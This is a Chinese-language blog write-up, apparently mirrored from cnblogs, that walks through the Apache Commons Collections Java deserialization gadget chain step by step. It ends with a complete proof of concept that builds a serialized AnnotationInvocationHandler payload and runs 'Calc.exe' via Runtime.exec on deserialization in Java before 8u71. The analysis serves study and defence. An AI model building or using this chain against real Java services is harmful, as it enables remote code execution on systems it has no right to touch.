zoukankan      html  css  js  c++  java
  • 初探Commons-Collections反序列化链

    0x01 Apache Commons Collections

    Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。

    要分析这个反序列化,首先要从Transformer类开始介绍。

    Transformer

    org.apache.commons.collections.Transformer是一个接口,从代码上看它就只有一个待实现的方法。

    public interface Transformer {
        Object transform(Object var1);
    }
    

    接着介绍几个关键的类:ConstantTransformer、InvokerTransformer、ChainedTransformer

    这三个类都是Transformer接口的实现类。

    ConstantTransformer

    直接看源码:

    public ConstantTransformer(Object constantToReturn) {    
    this.iConstant = constantToReturn;}
    

    简单来说,这个类的作用就是你输入什么类,它就返回什么类型。

    InvokerTransformer

    看到invoke这词就很熟了,查看下代码,发现可以通过反射创建一个对象实例

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    
    public Object transform(Object input) {
            if (input == null) {
                return null;
            } else {
                try {
                    Class cls = input.getClass();
                    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                    return method.invoke(input, this.iArgs);
                } catch (NoSuchMethodException var5) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
                } catch (IllegalAccessException var6) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
                } catch (InvocationTargetException var7) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
                }
            }
        }
    

    且methodName和paramTypes参数可控,也就是说我们可以通过这个类反射实例化调用其他类其他方法,InvokerTransformer也就是我们这个序列化链的关键类。

    举个例子:

    我们来分析下这段测试代码,首先,我们的目的是要通过InvokerTransformer来反射Runtime.class类的getMethod方法,也就是说,要反射的方法名methodName为getMethod,而getMethod方法的参数类型为string.class和class[].class, 所以paramTypes就为new Class[]{ String.class,Class[].class},接着,既然然参数有两个,string.class对应的为我们要调用的getRuntime方法,那么class[].class对应的参数为啥呢?直接为null就可以了,用new Class[0]也可以,其实用new Class[0]还更好,还可以防止在for循环时抛出异常。

    运行查看下结果:

    可以看到这段代码已经成功反射出了Runtime.getRuntime()方法。

    ChainedTransformer

    接下来是ChainedTransformer类,我们直接来看代码比较容易理解:

    public ChainedTransformer(Transformer[] transformers) {
            this.iTransformers = transformers;
        }
    
        public Object transform(Object object) {
            for(int i = 0; i < this.iTransformers.length; ++i) {
                object = this.iTransformers[i].transform(object);
            }
    
            return object;
        }
    

    相当于把参数中的每一个Transform类按顺序循环调用了一遍transform,且transform方法传递的参数为上个transform返回的对象。

    0x02 构造Transform链

    通过上面的介绍,下面就可以直接看这段代码了

    Transformer[] transformers = new Transformer[] {
     	new ConstantTransformer(Runtime.class),
     	new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new 			Object[] { "getRuntime",new Class[0] }),
     	new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
     	new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" 	}),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    

    首先,先通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,得到方法后还要继续通过反射执行invoke才能去调用getRuntime方法,这样才能得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

    最后再把已经构造的好的Transform组合或者说Transform链,作为ChainedTransformer构造函数的参数,然后找条件执行到ChainedTransformer的transform方法,前一个transform方法返回的对象作为下个transform方法的参数,这就很完美,然后让它依次去循环调用各个Transform类的transform方法来执行我们想要调用的方法,从而来完成命令执行。这样的构造细细品味很有意思,果然反射在java中是无比强大的。

    至于这里为什么不能直接用Runtime.getRuntime()来得到Runtime对象呢,比如这样写:

    Transformer[] transformers = new Transformer[]{
     	new ConstantTransformer(Runtime.getRuntime()),
     	new InvokerTransformer("exec", new Class[]{String.class},
    	new Object[]{"Calc.exe"}),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    

    这样看起来是不是省事很多?但这样在反序列化中是不可行的,原因是,java中不是所有的对象都支持反序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而这里的Runtime类是没有实现 java.io.Serializable 接口的,所以也就只能通过反射来完成。

    回到上面,当然这些都要建立在能够执行ChainedTransformer的transform方法的前提下,所以要怎么触发执行这个transform方法呢?

    看到TransformedMap这个类,它有个transformValue方法

    也就是说,如果我们能控制valueTransformer为我们构造的ChainedTransformer对象,那我们上面的问题就迎刃而解了。我们再去看哪里调用了这个valueTransformer方法,

    同样在TransformedMap类中,put方法就调用了valueTransformer方法,而且value的值是我们完全可控的,简直完美。

    Transformer[] transformers = new Transformer[] {
     	new ConstantTransformer(Runtime.class),
     	new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new 			Object[] { "getRuntime",new Class[0] }),
     	new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
     	new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" 	}),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    outerMap.put("test", "xxxx");
    

    TransformedMap的decorate方法相当于把我们构造的transformers链带入修饰,并返回了一个新的TransformedMap对象,简单看下这个方法:

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }
    

    最后再调用put方法,运行后成功弹出了计算器:

    0x03 寻找可利用的反序列化类

    到了我们的最终问题,如何生成一个可用的反序列化POC呢?上面的put方法我们是手工执行来让它触发的,所以在实际反序列化的时候,我们要找到readObject方法里有类似put这样的操作方法,让它在反序列的时候触发就可以了。

    在8u71之前,有这样的一个类:sun.reflect.annotation.AnnotationInvocationHandler

    直接先看它的readObject方法:

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
    
    
        // Check to make sure that types have not evolved incompatibly
    
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }
    
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
    
    

    看到memberValue成员变量是map对象,而且达到一定条件后就能执行到memberValue.setValue(),也就是说,如果把我们之前构造的transform链包装成一个Map对象后,将它作为AnnotationInvocationHandler反序列后的memberValue,这样在它readObject反序列化的时候,触发memberValue.setValue(),然后再触发TransformedMap里的transform(),最后实现命令执行。

    最终的POC:

    	Transformer[] transformers = new Transformer[] {
     	new ConstantTransformer(Runtime.class),
     	new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new 			Object[] { "getRuntime",new Class[0] }),
     	new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
     	new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" 	}),
    };
    	Transformer transformerChain = new ChainedTransformer(transformers);
    	Map innerMap = new HashMap();
     	innerMap.put("value", "xxxx");
     	Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
     	Class clazz =
    	Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    	Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
     	construct.setAccessible(true);
     	InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
     	
    	ByteArrayOutputStream barr = new ByteArrayOutputStream();
     	ObjectOutputStream oos = new ObjectOutputStream(barr);
     	oos.writeObject(handler);
     	oos.close();
     	System.out.println(barr);
     	ObjectInputStream ois = new ObjectInputStream(new
    	ByteArrayInputStream(barr.toByteArray()));
     	Object o = (Object)ois.readObject();
     }
    
    

    0x04 总结

    文章的重点还是放在了transform链的调试分析上,实际上最后的poc还是有很大局限性,只在java 8u71前可用,以及poc的一些细节都没仔细展开去写出来。

    另外CommonsCollections中的反序列化链除了使用TransformedMap去利用之外,还能使用Lazmap以及动态代理的方式去利用,在ysoserial中的代码就可以找到,还有能利用基于PriorityQueue类的序列化等等的一系列思路,这些思路的细节还没去调试分析,下次再继续做个总结。

    乐观的悲观主义者。
  • 相关阅读:
    ajax 同步模式与异步模式
    Ajax -get 请求
    Ajax -post 请求
    Ajax 遵循HTTP协议
    Ajax 发送请求
    宽高自适应案例
    伸缩导航案例
    伸缩属性的 grow与 shrink
    伸缩布局
    hdu-5858 Hard problem(数学)
  • 原文地址:https://www.cnblogs.com/v1ntlyn/p/13550020.html
Copyright © 2011-2022 走看看